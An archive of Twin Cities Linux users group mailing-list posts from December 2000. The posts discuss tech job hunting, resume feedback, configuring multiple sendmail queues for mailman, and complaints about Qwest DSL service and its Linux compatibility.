sistina.com (Ben Lutgens) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Jobs: thanks In-Reply-To: ; from parker@mi-recordz.com on Wed, Dec 20, 2000 at 08:28:08AM -0800 References: <20001220102141.A742@athena.sistina.com> Message-ID: <20001220112923.F647@athena.sistina.com> On Wed, Dec 20, 2000 at 08:28:08AM -0800, parker@mi-recordz.com wrote: >Hi, > >> Once again let me state that Sistina Software is hiring geeks. All types of >> positions are open. Please send me a resume and contact information. > >Hey, the nerf gun wars and strong coffee are perfectly exceptable but >based on the unreasonable requirement to tolerate "stupid humor" I'd say >requests for 20% above the industry norm for salary would be a reasonable >compensation. What does a night shift Custodial Engineer make these days? > Maybe I should have been more specific. Technical Jobs and Executive type positions. -- Ben Lutgens cell: 612.670.4789 Sistina Software Inc. work: 612.379.5941 Code Monkey Support (A.K.A. System Administrator) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001220/e218a248/attachment.pgp From kent at structural-wood.com Wed Dec 20 11:42:45 2000 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? References: Message-ID: <3A40EF95.96CB9D2E@structural-wood.com> Jason DeStefano wrote: > > On Tue, 19 Dec 2000, Bob Tanner wrote: > > > > > What do you mean? > > > > If you got a job you love, money isn't everything. > > > i'll assume sarcasm but I also have to vent... > > > > Call me jaded but i used to think that money wasn't everything. > But then I started meeting people who had been in the > industry for 5-10 years that didnt know a leg from a breast > getting twice (or more) my salary. When I have to work with > incompetant people knowing that I knew more in college than they > do now its hard for money no not become a factor. > > Who here would continue to love their job if they knew their > co-worked was getting paid $30K more to do the same job? > > i've always said, you can lower my salary if you agree to > lower everyone elses in the industry too (ie. most of us > are overpaid for the amount of work we do..and some are > underpaid for the work. those people should switch jobs.) > > Cheers! > > > > I think it's a matter of tradeoffs. I could quit today and make $20K more per year, work 10 hours less per week, and shave 30 minutes off my drive time. I'm not willing to do this because I make enough money to do the things I want and I get to work with Linux all day doing 50% admin and 50% development. The latter is extremely important to me. The thought of ever having to deal with Windows again makes me ill, and I have a (possibly goofy) feeling that I am on the right side of things when I work with Linux. Whoo Hoo, saddle up my white horse and let's bring free software to the poor, the disenfranchised, the floridians.... Of course if you paid me half of what I currently make my ethical purity may go right out the window. From mjn at UMN.EDU Wed Dec 20 11:45:58 2000 From: mjn at UMN.EDU (mjn) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] HOWTO get mailman to kick butt with sendmail In-Reply-To: Message-ID: > > The biggest performance boost is the define(QUEUE_DIR,`/var/spool/mqueue/q*') > > statment. This let's sendmail look into /var/spool/mqueue for all directories > > (and only directories) that start with a lower case 'q'. > > > > Being an old admin, I stretched my imagination and just created 10 directories > > like this: > > > > # cd /var/spool/mqueue > > # mkdir q0 q1 q2 q3 q4 q5 q6 q7 q8 q9 > > # chown root.mail q0 q1 q2 q3 q4 q5 q6 q7 q8 q9 > > # chmod 755 q0 q1 q2 q3 q4 q5 q6 q7 q8 q9 > > > > Restart sendmail and you got 10 queues ready for parallel processing. The mailq > > program will verify this for you. > > > > # mailq > > /var/spool/mqueue/q1 is empty > > /var/spool/mqueue/q2 is empty > > /var/spool/mqueue/q3 is empty > > /var/spool/mqueue/q4 is empty > > /var/spool/mqueue/q5 is empty > > /var/spool/mqueue/q6 is empty > > /var/spool/mqueue/q7 is empty > > /var/spool/mqueue/q8 is empty > > /var/spool/mqueue/q9 is empty > > /var/spool/mqueue/q0 is empty > > Total Requests: 0 > Hey folks. I am attempting to implement a multi-queue environment for sendmail to work on but i am noticing something strange and i don't know that I should be worried about it or not... I made my directories (q0...q9) and reconfig sendmail and delivery is working just fine. When i go to the mqueue directory however i see this: drwxr-xr-x 2 root mail 4096 Dec 20 11:18 q0 drwxr-xr-x 2 root mail 4096 Dec 20 11:43 q1 drwxr-xr-x 2 root mail 4096 Dec 20 11:43 q2 drwxr-xr-x 2 root mail 4096 Dec 20 10:24 q3 drwxr-xr-x 2 root mail 4096 Dec 20 10:24 q4 drwxr-xr-x 2 root mail 4096 Dec 20 11:39 q5 drwxr-xr-x 2 root mail 4096 Dec 20 11:39 q6 drwxr-xr-x 2 root mail 4096 Dec 20 10:24 q7 drwxr-xr-x 2 root mail 4096 Dec 20 10:24 q8 drwxr-xr-x 2 root mail 4096 Dec 20 11:32 q9 -rw------- 1 root root 2244 Dec 20 11:24 qfeBFKiCW02287 that last one is a mail message. Should i be worried about this or will it still get delivered properly? I have taken other message like this and moved them into a q directory but they keep appearing... What are the sendmail switches to get it to retry delivery on all queued messages again? ____________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com http://nifty.dsl.visi.com/ ____________________________ From esper at sherohman.org Wed Dec 20 11:59:25 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? In-Reply-To: <3A40EF95.96CB9D2E@structural-wood.com>; from kent@structural-wood.com on Wed, Dec 20, 2000 at 11:42:45AM -0600 References: <3A40EF95.96CB9D2E@structural-wood.com> Message-ID: <20001220115925.A686@sherohman.org> On Wed, Dec 20, 2000 at 11:42:45AM -0600, Kent Schumacher wrote: > work with Linux all day doing 50% admin and 50% development. How'd you manage to swing that? I've lately been telling people (both within my current company and hiring types from other companies) that I want to do a mix of admin and development work and they generally look at me like I've just sprouted antennae and tuned in a weather report. They seem to think that there are admins and there are programmers and never the twain shall meet. (Then there was the guy who said, "Oh, you mean IS? Sure, we've got lots of internal-use reports that need to be created."...) I can't help suspecting that, if I could phrase it in language they can understand, it would improve my chances of getting there. -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From mjn at UMN.EDU Wed Dec 20 12:00:09 2000 From: mjn at UMN.EDU (mjn) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] HOWTO get mailman to kick butt with sendmail In-Reply-To: Message-ID: > Hey folks. I am attempting to implement a multi-queue environment for > sendmail to work on but i am noticing something strange and i don't know > that I should be worried about it or not... > > I made my directories (q0...q9) and reconfig sendmail and delivery is > working just fine. When i go to the mqueue directory however i see this: > > drwxr-xr-x 2 root mail 4096 Dec 20 11:18 q0 > drwxr-xr-x 2 root mail 4096 Dec 20 11:43 q1 > drwxr-xr-x 2 root mail 4096 Dec 20 11:43 q2 > drwxr-xr-x 2 root mail 4096 Dec 20 10:24 q3 > drwxr-xr-x 2 root mail 4096 Dec 20 10:24 q4 > drwxr-xr-x 2 root mail 4096 Dec 20 11:39 q5 > drwxr-xr-x 2 root mail 4096 Dec 20 11:39 q6 > drwxr-xr-x 2 root mail 4096 Dec 20 10:24 q7 > drwxr-xr-x 2 root mail 4096 Dec 20 10:24 q8 > drwxr-xr-x 2 root mail 4096 Dec 20 11:32 q9 > -rw------- 1 root root 2244 Dec 20 11:24 qfeBFKiCW02287 > > > that last one is a mail message. Should i be worried about this or will > it still get delivered properly? I have taken other message like this and > moved them into a q directory but they keep appearing... Nevermind. it was just me being stupid. I had moved the d and q files for this messages into different queues so it got stupid... ____________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com http://nifty.dsl.visi.com/ ____________________________ From tanner at real-time.com Wed Dec 20 12:25:08 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Qworst Select DSL and Linux ? Message-ID: <20001220122508.A17254@real-time.com> Just had a client swing over to Real Time's ATM link for DSL Select service, BUT they are a linux user. Will this even work? Does the Intel Pro 2100 (Qworst dsl selecte hardware) even work under Linux? Looking at the 2.2.x kernel I cannot find a driver for it. Anyone? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From destef at destef.com Wed Dec 20 12:29:18 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] RE: [TCLUG:23907] Job (Was Unix/Linux sweat shops) In-Reply-To: <20001219213540.B73936@sorry.cs.umn.edu> Message-ID: I did like Jamie's rating of skills on a 1-5 scale. I've seen too many resumes that have a plethora of skills listed, many of which the person probably spent 1 day using. I like how practically every resume has C or C++ on it but I bet 98% of the people could write much more than a "hello world\n" program. I want to know what skills are primary and what skills are "use a little bit" skills. Most people lie (exagerrate) anyway. When I interview I tell the person to take some time, go through their listed skills and explain their level of knowledge of each. I've been amazed at how the story changes once you drill people on them. Jamie, more descriptive info of your past experience and what it entalied. More description of your school exper. and maybe tidy up the "look" (after all, even home ec. majors are HTML experts these days...in face isnt everyone? ). On Tue, 19 Dec 2000 dopp@acm.cs.umn.edu wrote: > I'm afraid I have to agree :) The first thing any resume book/tutorial/etc > will tell you is to keep your resume trimed to page of dead tree. Keep the > most important stuff and toss out whatever doesn't fit. Anyone who wants > to can check out mine. It's not steller by any means, but I've gotten jobs > with it. > > http://www.cs.umn.edu/~gabe/resume.html > > It may be a bit over a page in HTML form, but I usually consolidate it if > I'm giving it to anyone. > > Gabe > > On Tue, Dec 19, 2000 at 05:16:59PM -0600, Muhlenkort, Mark wrote: > > Your Resume needs a lot of work. Either get a good resume book, have someone > > else write it for you or look at the resumes on the web and pull it from > > there. It is difficult to see exactly what your strengths are and if a > > company can use them. The resume tells a company a lot about you. Let me see > > if I can e-mail you a copy of mine and see what you can do to change yours. > > Hope this helps! > > > > > > Mark A. Muhlenkort > > Computer Service Trainer > > Best Buy Co., Inc. > > 952-995-7893 Office > > 612-867-4203 Cell > > mark.muhlenkort@bestbuy.com > > > > We IMPROVE people's lives by making TECHNOLOGY and ENTERTAINMENT PRODUCTS > > affordable and easy to use. > > > > > > > > -----Original Message----- > > From: Jamie Ostrowski [mailto:jamie@floyd.getsetnet.net] > > Sent: Tuesday, December 19, 2000 5:15 PM > > To: tclug-list@mn-linux.org > > Subject: [TCLUG:23907] Job (Was Unix/Linux sweat > > shops) > > > > > > > > Thanks for the tips. I did sign up with techies.com and > > have had a > > couple of pretty good entry level positions sent to me, but > > after sending > > my resume, I never heard much back. I think my main problem > > is I don't > > have any experience, so I am hungry for anything, and > > getting a little > > nervous with bills stacking up. I also signed up with the > > TCLUG-JOBS list > > but haven't gotten much there. I don't know, maybe it is my > > resume. If > > anyone would be willing to give criticism on it, or offer > > advice, I would > > REALLY appreciate it VERY much. I have a copy of it online > > at > > http://www.linux-laboratories.com/resume.html > > > > If you can maybe offer any kind of criticism you think > > might be helpful, > > I would be very appreciative. I know a lot of you have > > backgrounds in the > > IT field so it would be really useful to me to get feedback. > > Maybe I > > simply need more schooling? I don't know. I thought it would > > be enough for > > entry level work. > > > > > > Best Regards, > > > > - Jamie > > > > > > > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org > > For additional commands, e-mail: > > tclug-list-help@mn-linux.org > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > From chrisp at dusk.bitstream.net Wed Dec 20 12:39:26 2000 From: chrisp at dusk.bitstream.net (Christopher Palmer) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Re: [TCLUG:23910] Qworst Select DSL and Linux ? In-Reply-To: <20001220122508.A17254@real-time.com> Message-ID: On Wed, 20 Dec 2000, Bob Tanner wrote: > Does the Intel Pro 2100 (Qworst dsl selecte hardware) even work under > Linux? I have heard it is Windows-only; no Mac OS, Linux, or BSD. -- Chris www.innerfireworks.com From tanner at real-time.com Wed Dec 20 12:42:43 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Cut-over of announcement, devel, and jobs mailing lists Message-ID: <20001220124243.C17254@real-time.com> I am finally happy with mailman and sendmail's performance. So I am going to swing the reset of the mailing lists over to mailman. Then over the Christmas "break" I'll cut mn-linux.org to the new mailing list server. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Wed Dec 20 12:43:15 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Re: [TCLUG:23910] Qworst Select DSL and Linux ? In-Reply-To: ; from chrisp@dusk.bitstream.net on Wed, Dec 20, 2000 at 12:39:26PM -0600 References: <20001220122508.A17254@real-time.com> Message-ID: <20001220124315.D17254@real-time.com> Quoting Christopher Palmer (chrisp@dusk.bitstream.net): > On Wed, 20 Dec 2000, Bob Tanner wrote: > > > Does the Intel Pro 2100 (Qworst dsl selecte hardware) even work under > > Linux? > > I have heard it is Windows-only; no Mac OS, Linux, or BSD. I heard the same thing and all the info on Qworst's web site says the same thing. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From destef at destef.com Wed Dec 20 12:57:21 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Alternatives to Qwaste DSL Message-ID: Well, those dip-shits at qwaste have screwed me once again. I moved to a different apartment within the same building and they are claiming that there is too much noise on my line now (whatever) and refuse to continue to give me service even though I've been paying them $100/month (which they dont seem to care about) for over 2 years (do the math). I live in Eden Prairie, does anyone know what other services are available in my area? Im not too concerned with bandwidth as much as i am being able to lease a static subnet and have DNS deletgated to my servers. If anyone out there had any info, please let me know!!! And if I ever get rich and/or start my own busniess or even have any influence on phone/ISP services (like at my current company where we pay Qworst millions) I will do all I can to NOT give them any business. I hate them with a passion. I've dealt with them for the past 2 and half years and their service has been horrible when I've had to make any changes. They're also feeding me DSL tech crap for excuses that I know are lies. Arrrggghhhh!!! Its almost the year 2001 and stupid companies cant figure this stuff out? Does any one know if RoadRunner will lease me at least 8 static IP's for a cable modem service? Or any other ISP service out there? Frustrated, Jason From b.layer at vikingelectronics.com Wed Dec 20 13:06:02 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:14:00 2005 Subject: [TCLUG] Qworst Select DSL and Linux ? In-Reply-To: <20001220122508.A17254@real-time.com> Message-ID: <4.3.2.7.2.20001220130545.00d28a60@192.168.210.18> At 12:25 PM 12/20/00 -0600, you wrote: >Does the Intel Pro 2100 (Qworst dsl selecte hardware) even work under Linux? Nope. Bill Layer Sales Technician +----------------------------------+ Viking Electronics, Inc. 1531 Industrial St. Hudson, WI. 54016 - U.S.A 715.386.8861 ext. 210 +----------------------------------+ "Telecom Solutions for the 21st Century" From dieman at ringworld.org Wed Dec 20 13:19:04 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: ; from destef@destef.com on Wed, Dec 20, 2000 at 10:57:21AM -0800 References: Message-ID: <20001220131904.I24042@ringworld.org> * Jason DeStefano [001220 13:05]: > Does any one know if RoadRunner will lease me at least 8 static > IP's for a cable modem service? Or any other ISP service Is there any true reason that you need static IP's at home? Is there a problem with colocating a machine at an ISP, and then getting 'normal' high speed internet at home? -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001220/c0c6fd6d/attachment.pgp From BTimm at Interelate.com Wed Dec 20 13:16:44 2000 From: BTimm at Interelate.com (Brad Timm) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] Alternatives to Qwaste DSL Message-ID: <394E263D7458ED4F91DA2A3066B8C18DB0A6F8@MSP-MAIL01.IR> Check out www.dslreports.com they can hook you up with others in the area. I use Qworst but I can look out the window at the CO. Phonix dsl, Covad ( I have heard horror stories), telocity are all names I have heard co-workers using. But are any of them really any better than the others? The only choice I am very glad I made was to have VISI host my DSL, real human support, they let you know of planned outages and have been very helpfull. Brad -----Original Message----- From: Jason DeStefano [mailto:destef@destef.com] Sent: Wednesday, December 20, 2000 12:57 PM To: tclug-list@lists.real-time.com Subject: [TCLUG] Alternatives to Qwaste DSL Well, those dip-shits at qwaste have screwed me once again. I moved to a different apartment within the same building and they are claiming that there is too much noise on my line now (whatever) and refuse to continue to give me service even though I've been paying them $100/month (which they dont seem to care about) for over 2 years (do the math). I live in Eden Prairie, does anyone know what other services are available in my area? Im not too concerned with bandwidth as much as i am being able to lease a static subnet and have DNS deletgated to my servers. If anyone out there had any info, please let me know!!! And if I ever get rich and/or start my own busniess or even have any influence on phone/ISP services (like at my current company where we pay Qworst millions) I will do all I can to NOT give them any business. I hate them with a passion. I've dealt with them for the past 2 and half years and their service has been horrible when I've had to make any changes. They're also feeding me DSL tech crap for excuses that I know are lies. Arrrggghhhh!!! Its almost the year 2001 and stupid companies cant figure this stuff out? Does any one know if RoadRunner will lease me at least 8 static IP's for a cable modem service? Or any other ISP service out there? Frustrated, Jason _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at real-time.com Wed Dec 20 13:08:27 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Testing Announce Mailing list Message-ID: <20001220130827.I17254@real-time.com> Sorry, got to do at least 1 test. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 _______________________________________________ tclug-announce mailing list tclug-announce@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-announce From tanner at real-time.com Wed Dec 20 13:27:16 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Testing Announce Mailing list In-Reply-To: <20001220130827.I17254@real-time.com>; from tanner@real-time.com on Wed, Dec 20, 2000 at 01:08:27PM -0600 References: <20001220130827.I17254@real-time.com> Message-ID: <20001220132716.A27845@real-time.com> Quoting Bob Tanner (tanner@real-time.com): > Sorry, got to do at least 1 test. > Hmmm, mailman does not handle sublisting very well. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From b.layer at vikingelectronics.com Wed Dec 20 13:30:13 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] Qworst Select DSL and Linux ? In-Reply-To: <20001220122508.A17254@real-time.com> Message-ID: <4.3.2.7.2.20001220132301.00d29a70@192.168.210.18> I run the Cisco 675 external, and it's perfectly linux-friendly... BSD friendly, CP/M friendly, C-64 friendly etc. USWest (now Qworst) does suck pretty bad, but FWIW, my DSL experience with them has been pretty decent. Also, they screwed up my initial order, and I got both the 675 and the 2100 modems, and never got charged for the 2100 :) What's more, even though I only pay for the 256K service, I got bumped to 640K with everyone else, at no additional charge. Free is good. Compared to the barbarism of Sprint LD, Qwest's past infractions are mere child's play... Sprint is, beyond any reasonable doubt, the absolute worst telecom firm in this part of the Milky Way. They pulled every underhanded, illegal, unethical trick in the book to try and overcharge me for my services. In the end, I was forced to seek recourse (I love that word) through the MN Attorney General's office. Bill Layer Sales Technician +----------------------------------+ Viking Electronics, Inc. 1531 Industrial St. Hudson, WI. 54016 - U.S.A 715.386.8861 ext. 210 +----------------------------------+ "Telecom Solutions for the 21st Century" From destef at destef.com Wed Dec 20 13:35:05 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: <20001220131904.I24042@ringworld.org> Message-ID: On Wed, 20 Dec 2000, Scott Dier wrote: I dont want to co-locate 5 boxes and then not have physical access to them. I do network software development and having my own "real network" on the internet is important. Do you know what they charge for locating a box at an ISP typically? Is it expensive? If its cheap enough I'd consider it. > * Jason DeStefano [001220 13:05]: > > Does any one know if RoadRunner will lease me at least 8 static > > IP's for a cable modem service? Or any other ISP service > > Is there any true reason that you need static IP's at home? Is there a > problem with colocating a machine at an ISP, and then getting 'normal' > high speed internet at home? > > From esper at sherohman.org Wed Dec 20 13:42:13 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] Qworst Select DSL and Linux ? In-Reply-To: <4.3.2.7.2.20001220132301.00d29a70@192.168.210.18>; from b.layer@vikingelectronics.com on Wed, Dec 20, 2000 at 01:30:13PM -0600 References: <20001220122508.A17254@real-time.com> <4.3.2.7.2.20001220132301.00d29a70@192.168.210.18> Message-ID: <20001220134213.A948@sherohman.org> On Wed, Dec 20, 2000 at 01:30:13PM -0600, Bill Layer wrote: > I run the Cisco 675 external, and it's perfectly linux-friendly... BSD > friendly, CP/M friendly, C-64 friendly etc. C-64 friendly? Do they make ethernet adapters and TCP stacks for those? -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From kethry at winternet.com Wed Dec 20 13:42:58 2000 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? In-Reply-To: <20001220115925.A686@sherohman.org> Message-ID: That seems to be the exact niche I end up facing everywhere I turn - whether it's Lotus Notes in Windows, or Workflow on UNIX - the most positive response to my resume has universally been those companies that need developers who not only can handle but atually like working both sides of the fence - I DO get looked at as if I've sprouted antennae, true, but that's more because they're not used to people who actually LIKE doing both - particularly if it's in a production support environment as opposed to purely admin or purely development. Liz On Wed, 20 Dec 2000, Dave Sherohman wrote: > On Wed, Dec 20, 2000 at 11:42:45AM -0600, Kent Schumacher wrote: > > work with Linux all day doing 50% admin and 50% development. > > How'd you manage to swing that? I've lately been telling people (both > within my current company and hiring types from other companies) that I > want to do a mix of admin and development work and they generally look > at me like I've just sprouted antennae and tuned in a weather report. > They seem to think that there are admins and there are programmers and never > the twain shall meet. (Then there was the guy who said, "Oh, you mean IS? > Sure, we've got lots of internal-use reports that need to be created."...) > I can't help suspecting that, if I could phrase it in language they can > understand, it would improve my chances of getting there. > > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From dieman at ringworld.org Wed Dec 20 13:46:35 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: ; from destef@destef.com on Wed, Dec 20, 2000 at 11:35:05AM -0800 References: <20001220131904.I24042@ringworld.org> Message-ID: <20001220134635.J24042@ringworld.org> * Jason DeStefano [001220 13:38]: > to them. I do network software development and having my own > "real network" on the internet is important. Do you know what So, this development requires return paths to 5 machines from the outside internet without a initiation from these machines? As in, you are developing services that *have* to be accessable from more than one machine? -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001220/57724ba5/attachment.pgp From blutgens at sistina.com Wed Dec 20 13:58:01 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] Re: [TCLUG:23904] Any Unix/Linux sweat shops? In-Reply-To: ; from kethry@winternet.com on Wed, Dec 20, 2000 at 01:42:58PM -0600 References: <20001220115925.A686@sherohman.org> Message-ID: <20001220135801.C480@athena.sistina.com> On Wed, Dec 20, 2000 at 01:42:58PM -0600, Liz Burke-Scovill wrote: > >That seems to be the exact niche I end up facing everywhere I turn - >whether it's Lotus Notes in Windows, or Workflow on UNIX - the most >positive response to my resume has universally been those companies that >need developers who not only can handle but atually like working both >sides of the fence - I DO get looked at as if I've sprouted antennae, >true, but that's more because they're not used to people who actually LIKE >doing both - particularly if it's in a production support environment as >opposed to purely admin or purely development. > So am I to understand you'd like to do both? hmmm.... evil wheels turning.... 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Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001220/2243ba28/attachment.pgp From dopp at acm.cs.umn.edu Wed Dec 20 14:10:29 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: <394E263D7458ED4F91DA2A3066B8C18DB0A6F8@MSP-MAIL01.IR>; from BTimm@Interelate.com on Wed, Dec 20, 2000 at 01:16:44PM -0600 References: <394E263D7458ED4F91DA2A3066B8C18DB0A6F8@MSP-MAIL01.IR> Message-ID: <20001220141029.F74786@sorry.cs.umn.edu> > Phonix dsl, Covad ( I have heard horror stories), telocity are all names I > have heard co-workers using. > But are any of them really any better than the others? > Well, if his lines are too noisy for Qwaste DSL, they're too noisy for those providers as well, since Qwest manages the line. Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Stimpy, sometimes your wealth of eegnorance astounds me!" - Ren Hoek in "Marooned" -------------------------------------------------------------------------------- From dopp at acm.cs.umn.edu Wed Dec 20 14:12:12 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] Qworst Select DSL and Linux ? In-Reply-To: <4.3.2.7.2.20001220132301.00d29a70@192.168.210.18>; from b.layer@vikingelectronics.com on Wed, Dec 20, 2000 at 01:30:13PM -0600 References: <20001220122508.A17254@real-time.com> <4.3.2.7.2.20001220132301.00d29a70@192.168.210.18> Message-ID: <20001220141212.G74786@sorry.cs.umn.edu> > > USWest (now Qworst) does suck pretty bad, but FWIW, my DSL experience with > them has been pretty decent. Also, they screwed up my initial order, and I > got both the 675 and the 2100 modems, and never got charged for the 2100 :) > What's more, even though I only pay for the 256K service, I got bumped to > 640K with everyone else, at no additional charge. Free is good. > That's not a screw-up. They give the 2100 free to every new DSL customer whether the customer is getting a 675 or not. Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Stimpy, sometimes your wealth of eegnorance astounds me!" - Ren Hoek in "Marooned" -------------------------------------------------------------------------------- From BTimm at Interelate.com Wed Dec 20 14:17:18 2000 From: BTimm at Interelate.com (Brad Timm) Date: Mon Jan 17 13:14:01 2005 Subject: [TCLUG] Alternatives to Qwaste DSL Message-ID: <394E263D7458ED4F91DA2A3066B8C18DB0A6F9@MSP-MAIL01.IR> I have heard of 2 instances that QwEST said that the line was not sutable and others have then come in and worked fine. (I think in one case they replaced the line to a apartment, something that a customer service based organization would do) But again, who am I to say... -----Original Message----- From: dopp@acm.cs.umn.edu [mailto:dopp@acm.cs.umn.edu] Sent: Wednesday, December 20, 2000 2:10 PM To: tclug-list@lists.real-time.com Subject: Re: [TCLUG] Alternatives to Qwaste DSL > Phonix dsl, Covad ( I have heard horror stories), telocity are all names I > have heard co-workers using. > But are any of them really any better than the others? > Well, if his lines are too noisy for Qwaste DSL, they're too noisy for those providers as well, since Qwest manages the line. Gabe -- ---------------------------------------------------------------------------- ---- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Stimpy, sometimes your wealth of eegnorance astounds me!" - Ren Hoek in "Marooned" ---------------------------------------------------------------------------- ---- _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From ecrist at ardent-hacker.net Wed Dec 20 14:27:03 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:14:02 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: References: Message-ID: <00122014285102.91723@armageddon.ardent-hacker.net> The cable companies are working on the static IP part of the business. The problem is, they're still building their network. When it's all said and done, 2002 - 2003-ish, they'll have a better network than the telco's, to a certain extent. As of now, there is no other option than xDSL, ISDN, or one of the big boys (T1, etc) Hope this helps, Eric On Wed, 20 Dec 2000, you wrote: > Well, those dip-shits at qwaste have screwed me once again. > I moved to a different apartment within the same building > and they are 